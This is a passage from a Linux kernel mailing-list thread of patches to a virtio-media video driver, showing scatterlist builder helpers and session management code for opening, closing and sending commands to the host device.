+	cmd_ioctl->code = VIRTIO_MEDIA_IOCTL_CODE(ioctl_code);
+
+	return scatterlist_builder_add_data(builder, cmd_ioctl,
+					    sizeof(*cmd_ioctl));
+}
+
+/**
+ * scatterlist_builder_add_ioctl_resp() - Add storage to receive an ioctl
+ *                                        response to the descriptor chain.
+ * @builder: builder to use.
+ * @session: session on behalf of which the ioctl response is added.
+ */
+int scatterlist_builder_add_ioctl_resp(struct scatterlist_builder *builder,
+				       struct virtio_media_session *session)
+{
+	struct virtio_media_resp_ioctl *resp_ioctl = &session->resp.ioctl;
+
+	return scatterlist_builder_add_data(builder, resp_ioctl,
+					    sizeof(*resp_ioctl));
+}
+
+/**
+ * __scatterlist_builder_add_userptr() - Add user pages to @builder.
+ * @builder: builder to use.
+ * @userptr: pointer to userspace memory that we want to add.
+ * @length: length of the data to add.
+ * @sg_list: output parameter. Upon success, points to the area of the shadow
+ *           buffer containing the array of SG entries to be added to the
+ *           descriptor chain.
+ * @nents: output parameter. Upon success, contains the number of entries
+ *         pointed to by @sg_list.
+ *
+ * Data referenced by userspace pointers can be potentially large and very
+ * scattered, which could overwhelm the descriptor chain if added as-is. For
+ * these, we instead build an array of &struct virtio_media_sg_entry in the
+ * shadow buffer and reference it using a single descriptor.
+ *
+ * This function is a helper to perform that. Callers should then add the
+ * descriptor to the chain properly.
+ *
+ * Returns %-EFAULT if @userptr is not a valid user address, which is a case the
+ * driver should consider as "normal" operation. All other failures signal a
+ * problem with the driver.
+ */
+static int
+__scatterlist_builder_add_userptr(struct scatterlist_builder *builder,
+				  unsigned long userptr, unsigned long length,
+				  struct virtio_media_sg_entry **sg_list,
+				  int *nents)
+{
+	struct sg_table sg_table = {};
+	struct frame_vector *framevec;
+	struct scatterlist *sg_iter;
+	struct page **pages;
+	const unsigned int offset = userptr & ~PAGE_MASK;
+	unsigned int pages_count;
+	size_t entries_size;
+	int i;
+	int ret;
+
+	framevec = vb2_create_framevec(userptr, length, true);
+	if (IS_ERR(framevec)) {
+		if (PTR_ERR(framevec) != -EFAULT) {
+			pr_warn("error %ld creating frame vector for userptr 0x%lx, length 0x%lx\n",
+				PTR_ERR(framevec), userptr, length);
+		} else {
+			/* -EINVAL is expected in case of invalid userptr. */
+			framevec = ERR_PTR(-EINVAL);
+		}
+		return PTR_ERR(framevec);
+	}
+
+	pages = frame_vector_pages(framevec);
+	if (IS_ERR(pages)) {
+		pr_warn("error getting vector pages\n");
+		ret = PTR_ERR(pages);
+		goto done;
+	}
+	pages_count = frame_vector_count(framevec);
+	ret = sg_alloc_table_from_pages(&sg_table, pages, pages_count, offset,
+					length, 0);
+	if (ret) {
+		pr_warn("error creating sg table\n");
+		goto done;
+	}
+
+	/* Allocate our actual SG in the shadow buffer. */
+	*nents = sg_nents(sg_table.sgl);
+	entries_size = sizeof(**sg_list) * *nents;
+	if (builder->shadow_buffer_pos + entries_size >
+	    builder->shadow_buffer_size) {
+		ret = -ENOMEM;
+		goto free_sg;
+	}
+
+	*sg_list = builder->shadow_buffer + builder->shadow_buffer_pos;
+	builder->shadow_buffer_pos += entries_size;
+
+	for_each_sgtable_sg(&sg_table, sg_iter, i) {
+		struct virtio_media_sg_entry *sg_entry = &(*sg_list)[i];
+
+		sg_entry->start = sg_phys(sg_iter);
+		sg_entry->len = sg_iter->length;
+	}
+
+free_sg:
+	sg_free_table(&sg_table);
+
+done:
+	vb2_destroy_framevec(framevec);
+	return ret;
+}
+
+/**
+ * scatterlist_builder_add_userptr() - Add a user-memory buffer using an array
+ *                                     of &struct virtio_media_sg_entry.
+ * @builder: builder to use.
+ * @userptr: pointer to userspace memory that we want to add.
+ * @length: length of the data to add.
+ *
+ * Upon success, an array of &struct virtio_media_sg_entry referencing
+ * @userptr has been built into the shadow buffer, and that array added to the
+ * descriptor chain.
+ */
+static int scatterlist_builder_add_userptr(struct scatterlist_builder *builder,
+					   unsigned long userptr,
+					   unsigned long length)
+{
+	int ret;
+	int nents;
+	struct virtio_media_sg_entry *sg_list;
+
+	ret = __scatterlist_builder_add_userptr(builder, userptr, length,
+						&sg_list, &nents);
+	if (ret)
+		return ret;
+
+	ret = scatterlist_builder_add_data(builder, sg_list,
+					   sizeof(*sg_list) * nents);
+	if (ret)
+		return ret;
+
+	return 0;
+}
+
+/**
+ * scatterlist_builder_add_buffer() - Add a &struct v4l2_buffer and its planes
+ *                                    to the descriptor chain.
+ * @builder: builder to use.
+ * @b: &struct v4l2_buffer to add.
+ */
+int scatterlist_builder_add_buffer(struct scatterlist_builder *builder,
+				   struct v4l2_buffer *b)
+{
+	int ret;
+
+	/* v4l2_buffer */
+	ret = scatterlist_builder_add_data(builder, b, sizeof(*b));
+	if (ret)
+		return ret;
+
+	if (V4L2_TYPE_IS_MULTIPLANAR(b->type) && b->length > 0) {
+		/* Array of v4l2_planes */
+		ret = scatterlist_builder_add_data(builder, b->m.planes,
+						   sizeof(struct v4l2_plane) *
+							   b->length);
+		if (ret)
+			return ret;
+	}
+
+	return 0;
+}
+
+/**
+ * scatterlist_builder_retrieve_buffer() - Retrieve a &struct v4l2_buffer
+ *                                         written by the device on the shadow
+ *                                         buffer, if needed.
+ * @builder: builder to use.
+ * @sg_index: index of the first SG entry of the buffer in the builder's
+ *            descriptor chain.
+ * @b: &struct v4l2_buffer to copy shadow buffer data into.
+ * @orig_planes: the original ``planes`` pointer, to be restored if the buffer
+ *               is multi-planar.
+ *
+ * If the &struct v4l2_buffer pointed to by @sg_index was copied into the
+ * shadow buffer, then its updated content is copied back into @b.
+ * Otherwise nothing is done as the device has written into @b directly.
+ *
+ * @orig_planes is used to restore the original ``planes`` pointer in case it
+ * gets modified by the host. The specification stipulates that the host should
+ * not modify it, but we enforce this for additional safety.
+ */
+int scatterlist_builder_retrieve_buffer(struct scatterlist_builder *builder,
+					size_t sg_index, struct v4l2_buffer *b,
+					struct v4l2_plane *orig_planes)
+{
+	int ret;
+
+	ret = scatterlist_builder_retrieve_data(builder, sg_index++, b);
+	if (ret)
+		return ret;
+
+	if (V4L2_TYPE_IS_MULTIPLANAR(b->type)) {
+		b->m.planes = orig_planes;
+
+		if (orig_planes) {
+			ret = scatterlist_builder_retrieve_data(builder,
+								sg_index++,
+								b->m.planes);
+			if (ret)
+				return ret;
+		}
+	}
+
+	return 0;
+}
+
+/**
+ * scatterlist_builder_add_ext_ctrls() - Add a &struct v4l2_ext_controls and its
+ *                                       controls to @builder.
+ * @builder: builder to use.
+ * @ctrls: &struct v4l2_ext_controls to add.
+ *
+ * Add @ctrls and its array of &struct v4l2_ext_control to the descriptor
+ * chain.
+ */
+int scatterlist_builder_add_ext_ctrls(struct scatterlist_builder *builder,
+				      struct v4l2_ext_controls *ctrls)
+{
+	int ret;
+
+	/* v4l2_ext_controls */
+	ret = scatterlist_builder_add_data(builder, ctrls, sizeof(*ctrls));
+	if (ret)
+		return ret;
+
+	if (ctrls->count > 0) {
+		/* array of v4l2_controls */
+		ret = scatterlist_builder_add_data(builder, ctrls->controls,
+						   sizeof(ctrls->controls[0]) *
+							   ctrls->count);
+		if (ret)
+			return ret;
+	}
+
+	return 0;
+}
+
+/**
+ * scatterlist_builder_add_ext_ctrls_userptrs() - Add the userspace payloads of
+ *                                                a &struct v4l2_ext_controls
+ *                                                to the descriptor chain.
+ * @builder: builder to use.
+ * @ctrls: &struct v4l2_ext_controls from which we want to add the
+ *         userspace payload.
+ *
+ * Add the userspace payloads of @ctrls to the descriptor chain. This is split
+ * out of scatterlist_builder_add_ext_ctrls() because we only want to add
+ * these to the device-readable part of the descriptor chain.
+ */
+int
+scatterlist_builder_add_ext_ctrls_userptrs(struct scatterlist_builder *builder,
+					   struct v4l2_ext_controls *ctrls)
+{
+	int i;
+	int ret;
+
+	/* Pointers to user memory in individual controls */
+	for (i = 0; i < ctrls->count; i++) {
+		struct v4l2_ext_control *ctrl = &ctrls->controls[i];
+
+		if (ctrl->size > 0) {
+			unsigned long uptr = (unsigned long)ctrl->ptr;
+
+			ret = scatterlist_builder_add_userptr(builder, uptr,
+							      ctrl->size);
+			if (ret)
+				return ret;
+		}
+	}
+
+	return 0;
+}
+
+/**
+ * scatterlist_builder_retrieve_ext_ctrls() - Retrieve controls written by the
+ *                                            device on the shadow buffer,
+ *                                            if needed.
+ * @builder: builder to use.
+ * @sg_index: index of the first SG entry of the controls in the builder's
+ *            descriptor chain.
+ * @ctrls: &struct v4l2_ext_controls to copy shadow buffer data into.
+ *
+ * If the shadow buffer is pointed to by @sg_index, copy its content back into
+ * @ctrls.
+ */
+int scatterlist_builder_retrieve_ext_ctrls(struct scatterlist_builder *builder,
+					   size_t sg_index,
+					   struct v4l2_ext_controls *ctrls)
+{
+	struct v4l2_ext_control *controls_backup = ctrls->controls;
+	int ret;
+
+	ret = scatterlist_builder_retrieve_data(builder, sg_index++, ctrls);
+	if (ret)
+		return ret;
+
+	ctrls->controls = controls_backup;
+
+	if (ctrls->count > 0 && ctrls->controls) {
+		ret = scatterlist_builder_retrieve_data(builder, sg_index++,
+							ctrls->controls);
+		if (ret)
+			return ret;
+	}
+
+	return 0;
+}
diff --git a/drivers/media/virtio/scatterlist_builder.h b/drivers/media/virtio/scatterlist_builder.h
new file mode 100644
index 000000000..47bfd7ae0
--- /dev/null
+++ b/drivers/media/virtio/scatterlist_builder.h
@@ -0,0 +1,109 @@
+/* SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0+ */
+
+/*
+ * Scatterlist builder helpers for virtio-media.
+ *
+ * Copyright (c) 2024-2026 Google LLC.
+ */
+
+#ifndef __VIRTIO_MEDIA_SCATTERLIST_BUILDER_H
+#define __VIRTIO_MEDIA_SCATTERLIST_BUILDER_H
+
+#include <linux/scatterlist.h>
+
+#include "session.h"
+
+/**
+ * struct scatterlist_builder - helper to build a scatterlist from data.
+ * @descs: pool of descriptors to use.
+ * @num_descs: number of entries in descs.
+ * @cur_desc: next descriptor to be used in @descs.
+ * @shadow_buffer: pointer to a shadow buffer where elements that cannot be
+ * mapped directly into the scatterlist get copied.
+ * @shadow_buffer_size: size of @shadow_buffer.
+ * @shadow_buffer_pos: current position in @shadow_buffer.
+ * @sgs: descriptor chain to eventually pass to virtio functions.
+ * @num_sgs: total number of entries in @sgs.
+ * @cur_sg: next entry in @sgs to be used.
+ *
+ * Virtio passes data from the driver to the device (through e.g.
+ * virtqueue_add_sgs()) via a scatterlist that the device interprets as a
+ * linear view over scattered driver memory.
+ *
+ * In virtio-media, the payload of ioctls from user-space can for the most part
+ * be passed as-is, or after slight modification, which makes it tempting to
+ * just forward the ioctl payload received from user-space as-is instead of
+ * doing another copy into a dedicated buffer. This structure helps with this.
+ *
+ * virtio-media descriptor chains are typically made of the following parts:
+ *
+ * Device-readable:
+ * - A command structure, i.e. ``virtio_media_cmd_*``,
+ * - An ioctl payload (one of the regular ioctl parameters),
+ * - (optionally) arrays of &struct virtio_media_sg_entry describing the
+ *   content of buffers in guest memory.
+ *
+ * Device-writable:
+ * - A response structure, i.e. ``virtio_media_resp_*``,
+ * - An ioctl payload, that the device will write to.
+ *
+ * This structure helps laying out the descriptor chain into its @sgs member in
+ * an optimal way, by building a scatterlist adapted to the originating memory
+ * of the data we want to pass to the device while avoiding copies when
+ * possible.
+ *
+ * It is made of a pool of &struct scatterlist (@descs) that is used to
+ * build the final descriptor chain @sgs, and a @shadow_buffer where data that
+ * cannot (or should not) be mapped directly by the host can be temporarily
+ * copied.
+ */
+struct scatterlist_builder {
+	struct scatterlist *descs;
+	size_t num_descs;
+	size_t cur_desc;
+
+	void *shadow_buffer;
+	size_t shadow_buffer_size;
+	size_t shadow_buffer_pos;
+
+	struct scatterlist **sgs;
+	size_t num_sgs;
+	size_t cur_sg;
+};
+
+int scatterlist_builder_add_descriptor(struct scatterlist_builder *builder,
+				       size_t desc_index);
+
+int scatterlist_builder_add_data(struct scatterlist_builder *builder,
+				 void *data, size_t len);
+
+int scatterlist_builder_retrieve_data(struct scatterlist_builder *builder,
+				      size_t sg_index, void *data);
+
+int scatterlist_builder_add_ioctl_cmd(struct scatterlist_builder *builder,
+				      struct virtio_media_session *session,
+				      u32 ioctl_code);
+
+int scatterlist_builder_add_ioctl_resp(struct scatterlist_builder *builder,
+				       struct virtio_media_session *session);
+
+int scatterlist_builder_add_buffer(struct scatterlist_builder *builder,
+				   struct v4l2_buffer *buffer);
+
+int scatterlist_builder_retrieve_buffer(struct scatterlist_builder *builder,
+					size_t sg_index,
+					struct v4l2_buffer *buffer,
+					struct v4l2_plane *orig_planes);
+
+int scatterlist_builder_add_ext_ctrls(struct scatterlist_builder *builder,
+				      struct v4l2_ext_controls *ctrls);
+
+int
+scatterlist_builder_add_ext_ctrls_userptrs(struct scatterlist_builder *builder,
+					   struct v4l2_ext_controls *ctrls);
+
+int scatterlist_builder_retrieve_ext_ctrls(struct scatterlist_builder *builder,
+					   size_t sg_index,
+					   struct v4l2_ext_controls *ctrls);
+
+#endif // __VIRTIO_MEDIA_SCATTERLIST_BUILDER_H
-- 
2.55.0.229.g6434b31f56-goog


^ permalink raw reply related

* [PATCH v5 2/5] media: virtio: Add session management
From: Brian Daniels @ 2026-07-23 18:32 UTC (permalink / raw)
  To: Mauro Carvalho Chehab
  Cc: adelva, aesteve, changyeon, daniel.almeida, eperezma, gnurou,
	gurchetansingh, hverkuil, jasowang, linux-kernel, linux-media,
	mst, nicolas.dufresne, virtualization, xuanzhuo, Brian Daniels
In-Reply-To: <20260723183219.737296-1-briandaniels@google.com>

From: Alexandre Courbot <gnurou@gmail.com>

This patch adds session management to the virtio-media driver.
A session is created when the /dev/videoX device is opened, and
destroyed when it is closed.

Opening a session sends VIRTIO_MEDIA_CMD_OPEN to the host, and closing
it sends VIRTIO_MEDIA_CMD_CLOSE.

It adds drivers/media/virtio/session.h and implements the open and
release fops.

Signed-off-by: Alexandre Courbot <gnurou@gmail.com>
Assisted-by: Antigravity:gemini-3.5-flash
Co-developed-by: Brian Daniels <briandaniels@google.com>
Signed-off-by: Brian Daniels <briandaniels@google.com>
---
 drivers/media/virtio/session.h             | 132 +++++
 drivers/media/virtio/virtio_media_driver.c | 604 ++++++++++++++++++++-
 2 files changed, 732 insertions(+), 4 deletions(-)
 create mode 100644 drivers/media/virtio/session.h

diff --git a/drivers/media/virtio/session.h b/drivers/media/virtio/session.h
new file mode 100644
index 000000000..d523c8171
--- /dev/null
+++ b/drivers/media/virtio/session.h
@@ -0,0 +1,132 @@
+/* SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0+ */
+
+/*
+ * Definitions of virtio-media session related structures.
+ *
+ * Copyright (c) 2024-2026 Google LLC.
+ */
+
+#ifndef __VIRTIO_MEDIA_SESSION_H
+#define __VIRTIO_MEDIA_SESSION_H
+
+#include <linux/scatterlist.h>
+#include <media/v4l2-fh.h>
+
+#include "uapi/linux/virtio_media.h"
+
+#define VIRTIO_MEDIA_LAST_QUEUE (V4L2_BUF_TYPE_META_OUTPUT)
+
+/*
+ * Size of the per-session virtio shadow and event buffers. 16K should be
+ * enough to contain everything we need.
+ */
+#define VIRTIO_SHADOW_BUF_SIZE 0x4000
+
+/**
+ * struct virtio_media_buffer - Current state of a buffer.
+ * @buffer: &struct v4l2_buffer with current information about the buffer.
+ * @planes: backing planes array for @buffer.
+ * @list: link into the list of buffers pending dequeue.
+ */
+struct virtio_media_buffer {
+	struct v4l2_buffer buffer;
+	struct v4l2_plane planes[VIDEO_MAX_PLANES];
+	struct list_head list;
+};
+
+/**
+ * struct virtio_media_queue_state - Represents the state of a V4L2 queue.
+ * @streaming: Whether the queue is currently streaming.
+ * @allocated_bufs: How many buffers are currently allocated.
+ * @is_capture_last: set to true when the last buffer has been received on a
+ *                   capture queue, so we can return %-EPIPE on subsequent
+ *                   DQBUF requests.
+ * @buffers: Buffer state array of size @allocated_bufs.
+ * @queued_bufs: How many buffers are currently queued on the device.
+ * @pending_dqbufs: Buffers that are available for being dequeued.
+ */
+struct virtio_media_queue_state {
+	bool streaming;
+	size_t allocated_bufs;
+	bool is_capture_last;
+
+	struct virtio_media_buffer *buffers;
+	size_t queued_bufs;
+	struct list_head pending_dqbufs;
+};
+
+/**
+ * struct virtio_media_session - A session on a virtio_media device.
+ * @fh: file handler for the session.
+ * @file: file pointer associated with the session's file handler.
+ * @id: session ID used to communicate with the device.
+ * @nonblocking_dequeue: whether dequeue should block or not (nonblocking if
+ *                       file opened with O_NONBLOCK).
+ * @uses_mplane: whether the queues for this session use the MPLANE API or not.
+ * @cmd: union of session commands ``close``, ``ioctl``, and ``mmap``. A
+ *       session can have one command currently running. The rest of the
+ *       commands are handled by &struct virtio_media.
+ * @resp: union of responses to session commands ``close``, ``ioctl``, and
+ *        ``mmap``. A session can wait on one command only. The rest of the
+ *        responses are handled by &struct virtio_media.
+ * @shadow_buf: shadow buffer where data to be added to the descriptor chain can
+ *              be staged before being sent to the device.
+ * @command_sgs: SG table gathering descriptors for a given command and its
+ *               response.
+ * @queues: state of all the queues for this session.
+ * @queues_lock: protects all members for the queues for this session.
+ * @dqbuf_wait: waitqueue for dequeued buffers, if ``VIDIOC_DQBUF`` needs to
+ *              block or when polling.
+ * @list: link into the list of sessions for the device.
+ */
+struct virtio_media_session {
+	struct v4l2_fh fh;
+	struct file *file;
+	u32 id;
+	bool nonblocking_dequeue;
+	bool uses_mplane;
+
+	__dma_from_device_group_begin();
+	union {
+		struct virtio_media_cmd_close close;
+		struct virtio_media_cmd_ioctl ioctl;
+		struct virtio_media_cmd_mmap mmap;
+	} cmd;
+
+	union {
+		struct virtio_media_resp_ioctl ioctl;
+		struct virtio_media_resp_mmap mmap;
+	} resp;
+	__dma_from_device_group_end();
+
+	void *shadow_buf;
+
+	struct sg_table command_sgs;
+
+	struct virtio_media_queue_state queues[VIRTIO_MEDIA_LAST_QUEUE + 1];
+	struct mutex queues_lock; /* protects queues array and states */
+	wait_queue_head_t dqbuf_wait;
+
+	struct list_head list;
+};
+
+static inline struct virtio_media_session *fh_to_session(struct v4l2_fh *fh)
+{
+	return container_of(fh, struct virtio_media_session, fh);
+}
+
+static inline void
+virtio_media_session_fh_add(struct virtio_media_session *session,
+			    struct file *file)
+{
+	v4l2_fh_add(&session->fh, file);
+	session->file = file;
+}
+
+static inline void
+virtio_media_session_fh_del(struct virtio_media_session *session)
+{
+	v4l2_fh_del(&session->fh, session->file);
+}
+
+#endif // __VIRTIO_MEDIA_SESSION_H
diff --git a/drivers/media/virtio/virtio_media_driver.c b/drivers/media/virtio/virtio_media_driver.c
index 144e2f077..938786b05 100644
--- a/drivers/media/virtio/virtio_media_driver.c
+++ b/drivers/media/virtio/virtio_media_driver.c
@@ -14,25 +14,589 @@
 #include <linux/virtio.h>
 #include <linux/virtio_config.h>
 #include <linux/virtio_ids.h>
+#include <linux/slab.h>
+#include <linux/scatterlist.h>
+#include <linux/vmalloc.h>
+#include <linux/workqueue.h>
+#include <linux/dma-mapping.h>
 
 #include <media/v4l2-dev.h>
 #include <media/v4l2-device.h>
+#include <media/v4l2-fh.h>
+#include <media/v4l2-event.h>
 
 #include "uapi/linux/virtio_media.h"
+#include "session.h"
 #include "virtio_media.h"
 
-static void commandq_callback(struct virtqueue *vq)
+#define VIRTIO_MEDIA_NUM_EVENT_BUFS 16
+
+/**
+ * virtio_media_session_alloc() - Allocate a new session.
+ * @vv: virtio-media device the session belongs to.
+ * @id: ID of the session.
+ * @file: file associated with the session.
+ */
+static struct virtio_media_session *
+virtio_media_session_alloc(struct virtio_media *vv, u32 id,
+			   struct file *file)
+{
+	struct virtio_media_session *session;
+	int i;
+	int ret;
+
+	session = kzalloc_obj(*session, GFP_KERNEL);
+	if (!session)
+		goto err_session;
+
+	session->shadow_buf = kzalloc(VIRTIO_SHADOW_BUF_SIZE, GFP_KERNEL);
+	if (!session->shadow_buf)
+		goto err_shadow_buf;
+
+	ret = sg_alloc_table(&session->command_sgs, DESC_CHAIN_MAX_LEN,
+			     GFP_KERNEL);
+	if (ret)
+		goto err_payload_sgs;
+
+	session->id = id;
+	session->nonblocking_dequeue = file->f_flags & O_NONBLOCK;
+
+	INIT_LIST_HEAD(&session->list);
+	v4l2_fh_init(&session->fh, &vv->video_dev);
+	virtio_media_session_fh_add(session, file);
+
+	for (i = 0; i <= VIRTIO_MEDIA_LAST_QUEUE; i++)
+		INIT_LIST_HEAD(&session->queues[i].pending_dqbufs);
+	mutex_init(&session->queues_lock);
+
+	init_waitqueue_head(&session->dqbuf_wait);
+
+	mutex_lock(&vv->sessions_lock);
+	list_add_tail(&session->list, &vv->sessions);
+	mutex_unlock(&vv->sessions_lock);
+
+	return session;
+
+err_payload_sgs:
+	kfree(session->shadow_buf);
+err_shadow_buf:
+	kfree(session);
+err_session:
+	return ERR_PTR(-ENOMEM);
+}
+
+/**
+ * virtio_media_session_free() - Free all resources of a session.
+ * @vv: virtio-media device the session belongs to.
+ * @session: session to destroy.
+ *
+ * All the resources of @session, as well as the backing memory of @session
+ * itself, are freed.
+ */
+static void virtio_media_session_free(struct virtio_media *vv,
+				      struct virtio_media_session *session)
+{
+	int i;
+
+	mutex_lock(&vv->sessions_lock);
+	list_del(&session->list);
+	mutex_unlock(&vv->sessions_lock);
+
+	virtio_media_session_fh_del(session);
+	v4l2_fh_exit(&session->fh);
+
+	sg_free_table(&session->command_sgs);
+
+	for (i = 0; i <= VIRTIO_MEDIA_LAST_QUEUE; i++)
+		vfree(session->queues[i].buffers);
+
+	kfree(session->shadow_buf);
+	kfree(session);
+}
+
+/**
+ * virtio_media_session_close() - Close and free a session.
+ * @vv: virtio-media device the session belongs to.
+ * @session: session to close and destroy.
+ *
+ * This sends the ``VIRTIO_MEDIA_CMD_CLOSE`` command to the device, and frees
+ * all resources used by @session.
+ */
+static int virtio_media_session_close(struct virtio_media *vv,
+				      struct virtio_media_session *session)
+{
+	struct virtio_media_cmd_close *cmd_close = &session->cmd.close;
+	struct scatterlist cmd_sg = {};
+	struct scatterlist *sgs[1] = { &cmd_sg };
+	int ret;
+
+	mutex_lock(&vv->vlock);
+
+	cmd_close->hdr.cmd = VIRTIO_MEDIA_CMD_CLOSE;
+	cmd_close->session_id = session->id;
+
+	sg_set_buf(&cmd_sg, cmd_close, sizeof(*cmd_close));
+	sg_mark_end(&cmd_sg);
+
+	ret = virtio_media_send_command(vv, sgs, 1, 0, 0, NULL);
+	mutex_unlock(&vv->vlock);
+	if (ret < 0)
+		return ret;
+
+	virtio_media_session_free(vv, session);
+
+	return 0;
+}
+
+/**
+ * virtio_media_find_session() - Look up a session with a given ID.
+ * @vv: virtio-media device to lookup the session from.
+ * @id: ID of the session to lookup.
+ */
+static struct virtio_media_session *
+virtio_media_find_session(struct virtio_media *vv, u32 id)
+{
+	struct list_head *p;
+	struct virtio_media_session *session = NULL;
+
+	mutex_lock(&vv->sessions_lock);
+	list_for_each(p, &vv->sessions) {
+		struct virtio_media_session *s =
+			list_entry(p, struct virtio_media_session, list);
+		if (s->id == id) {
+			session = s;
+			break;
+		}
+	}
+	mutex_unlock(&vv->sessions_lock);
+
+	return session;
+}
+
+/**
+ * struct virtio_media_cmd_callback_param - Callback parameters to the virtio
+ *                                          command queue.
+ * @vv: virtio-media device in use.
+ * @done: flag to be switched once the command is completed.
+ * @resp_len: length of the received response from the command. Only valid
+ *            after @done flag has switched to %true.
+ */
+struct virtio_media_cmd_callback_param {
+	struct virtio_media *vv;
+	bool done;
+	size_t resp_len;
+};
+
+/**
+ * commandq_callback() - Callback for the command queue.
+ * @queue: command virtqueue.
+ *
+ * This just wakes up the thread that was waiting on the command to complete.
+ */
+static void commandq_callback(struct virtqueue *queue)
+{
+	unsigned int len;
+	struct virtio_media_cmd_callback_param *param;
+
+process_bufs:
+	while ((param = virtqueue_get_buf(queue, &len))) {
+		param->done = true;
+		param->resp_len = len;
+		wake_up(&param->vv->wq);
+	}
+
+	if (!virtqueue_enable_cb(queue)) {
+		virtqueue_disable_cb(queue);
+		goto process_bufs;
+	}
+}
+
+/**
+ * virtio_media_kick_command() - send a command to the commandq.
+ * @vv: virtio-media device in use.
+ * @sgs: descriptor chain to send.
+ * @out_sgs: number of device-readable descriptors in @sgs.
+ * @in_sgs: number of device-writable descriptors in @sgs.
+ * @resp_len: output parameter. Upon success, contains the size of the response
+ *            in bytes.
+ */
+static int virtio_media_kick_command(struct virtio_media *vv,
+				     struct scatterlist **sgs,
+				     const size_t out_sgs, const size_t in_sgs,
+				     size_t *resp_len)
+{
+	struct virtio_media_cmd_callback_param cb_param = {
+		.vv = vv,
+		.done = false,
+		.resp_len = 0,
+	};
+	struct virtio_media_resp_header *resp_header;
+	int ret = virtqueue_add_sgs(vv->commandq, sgs, out_sgs, in_sgs,
+		  &cb_param, GFP_ATOMIC);
+	if (ret) {
+		v4l2_err(&vv->v4l2_dev,
+			 "failed to add sgs to command virtqueue\n");
+		return ret;
+	}
+
+	if (!virtqueue_kick(vv->commandq)) {
+		v4l2_err(&vv->v4l2_dev, "failed to kick command virtqueue\n");
+		return -EINVAL;
+	}
+
+	/* Wait for the response. */
+	ret = wait_event_timeout(vv->wq, cb_param.done, 5 * HZ);
+	if (ret == 0) {
+		v4l2_err(&vv->v4l2_dev,
+			 "timed out waiting for response to command\n");
+		return -ETIMEDOUT;
+	}
+
+	if (resp_len)
+		*resp_len = cb_param.resp_len;
+
+	if (in_sgs > 0) {
+		/*
+		 * If we expect a response, make sure we have at least a
+		 * response header - anything shorter is invalid.
+		 */
+		if (cb_param.resp_len < sizeof(*resp_header)) {
+			v4l2_err(&vv->v4l2_dev,
+				 "received response header is too short\n");
+			return -EINVAL;
+		}
+
+		resp_header = sg_virt(sgs[out_sgs]);
+		if (resp_header->status)
+			/* Host returns a positive error code. */
+			return -resp_header->status;
+	}
+
+	return 0;
+}
+
+/**
+ * virtio_media_send_command() - Send a command to the device and wait for its
+ * response.
+ * @vv: virtio-media device in use.
+ * @sgs: descriptor chain to send.
+ * @out_sgs: number of device-readable descriptors in @sgs.
+ * @in_sgs: number of device-writable descriptors in @sgs.
+ * @minimum_resp_len: minimum length of the response expected by the caller
+ *                    when the command is successful. Anything shorter than
+ *                    that will result in %-EINVAL being returned.
+ * @resp_len: output parameter. Upon success, contains the size of the response
+ *            in bytes.
+ */
+int virtio_media_send_command(struct virtio_media *vv, struct scatterlist **sgs,
+			      const size_t out_sgs, const size_t in_sgs,
+			      size_t minimum_resp_len, size_t *resp_len)
+{
+	size_t local_resp_len = resp_len ? *resp_len : 0;
+	int ret = virtio_media_kick_command(vv, sgs, out_sgs, in_sgs,
+					    &local_resp_len);
+	if (resp_len)
+		*resp_len = local_resp_len;
+
+	/*
+	 * If the host could not process the command, there is no valid
+	 * response.
+	 */
+	if (ret < 0)
+		return ret;
+
+	/* Make sure the host wrote a complete reply. */
+	if (local_resp_len < minimum_resp_len) {
+		v4l2_err(&vv->v4l2_dev,
+			 "received response is too short: received %zu, expected at least %zu\n",
+			 local_resp_len, minimum_resp_len);
+		return -EINVAL;
+	}
+
+	return 0;
+}
+
+/**
+ * virtio_media_send_event_buffer() - Sends an event buffer to the host so it
+ * can return it with an event.
+ * @vv: virtio-media device in use.
+ * @event_buffer: pointer to the event buffer to send to the device.
+ */
+static int virtio_media_send_event_buffer(struct virtio_media *vv,
+					  void *event_buffer)
+{
+	struct scatterlist *sgs[1], vresp;
+	int ret;
+
+	sg_init_one(&vresp, event_buffer, VIRTIO_MEDIA_EVENT_MAX_SIZE);
+	sgs[0] = &vresp;
+
+	ret = virtqueue_add_sgs(vv->eventq, sgs, 0, 1, event_buffer,
+				GFP_ATOMIC);
+	if (ret) {
+		v4l2_err(&vv->v4l2_dev,
+			 "failed to add sgs to event virtqueue\n");
+		return ret;
+	}
+
+	if (!virtqueue_kick(vv->eventq)) {
+		v4l2_err(&vv->v4l2_dev, "failed to kick event virtqueue\n");
+		return -EINVAL;
+	}
+
+	return 0;
+}
+
+/**
+ * eventq_callback() - Callback for the event queue.
+ * @queue: event virtqueue.
+ *
+ * This just schedules for event work to be run.
+ */
+static void eventq_callback(struct virtqueue *queue)
+{
+	struct virtio_media *vv = queue->vdev->priv;
+
+	schedule_work(&vv->eventq_work);
+}
+
+/**
+ * virtio_media_process_dqbuf_event() - Process a dequeued event for a session.
+ * @vv: virtio-media device in use.
+ * @session: session the event is addressed to.
+ * @dqbuf_evt: the dequeued event to process.
+ *
+ * Invalid events are ignored with an error log.
+ */
+static void
+virtio_media_process_dqbuf_event(struct virtio_media *vv,
+				 struct virtio_media_session *session,
+				 struct virtio_media_event_dqbuf *dqbuf_evt)
+{
+	struct virtio_media_buffer *dqbuf;
+	const enum v4l2_buf_type queue_type = dqbuf_evt->buffer.type;
+	struct virtio_media_queue_state *queue;
+	typeof(dqbuf->buffer.m) buffer_m;
+	typeof(dqbuf->buffer.m.planes[0].m) plane_m;
+	int i;
+
+	if (queue_type >= ARRAY_SIZE(session->queues)) {
+		v4l2_err(&vv->v4l2_dev,
+			 "unmanaged queue %d passed to dqbuf event",
+			 dqbuf_evt->buffer.type);
+		return;
+	}
+	queue = &session->queues[queue_type];
+
+	if (dqbuf_evt->buffer.index >= queue->allocated_bufs) {
+		v4l2_err(&vv->v4l2_dev,
+			 "invalid buffer ID %d for queue %d in dqbuf event",
+			 dqbuf_evt->buffer.index, dqbuf_evt->buffer.type);
+		return;
+	}
+
+	dqbuf = &queue->buffers[dqbuf_evt->buffer.index];
+
+	/*
+	 * Preserve the 'm' union that was passed to us during QBUF so userspace
+	 * gets back the information it submitted.
+	 */
+	buffer_m = dqbuf->buffer.m;
+	memcpy(&dqbuf->buffer, &dqbuf_evt->buffer, sizeof(dqbuf->buffer));
+	dqbuf->buffer.m = buffer_m;
